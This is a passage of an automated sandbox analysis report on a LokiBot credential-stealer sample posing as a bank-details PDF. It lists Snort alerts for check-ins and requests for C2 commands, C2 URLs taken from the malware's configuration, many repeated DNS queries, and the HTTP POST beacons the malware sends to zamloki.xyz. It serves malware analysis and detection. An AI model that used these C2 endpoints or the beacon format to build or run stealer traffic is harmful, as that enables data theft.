Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49860 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49860 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49860 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49861 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49861 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49861 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49862 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49862 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49862 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49863 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49863 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49863 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49864 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49864 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49864 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49865 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49865 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49865 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49866 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49866 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49866 -> 172.67.155.45:80

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	URLs: http://kbfvzoboss.bid/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.trade/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.win/alien/fre.php
Source: Malware configuration extractor	URLs: http://alphastand.top/alien/fre.php
Source: Malware configuration extractor	URLs: https://zamloki.xyz/des/co/tox.php

Performs DNS queries to domains with low reputation

Show sources

Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe	DNS query: zamloki.xyz
Source:	DNS query: zamloki.xyz
Source:	DNS query: zamloki.xyz
Source:	DNS query: zamloki.xyz
Source:	DNS query: zamloki.xyz
Source:	DNS query: zamloki.xyz
Source:	DNS query: zamloki.xyz

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 196Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 196Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
Source: global traffic	HTTP traffic detected: POST /des/co/tox.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: zamloki.xyzAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: A3C8092Content-Length: 169Connection: close
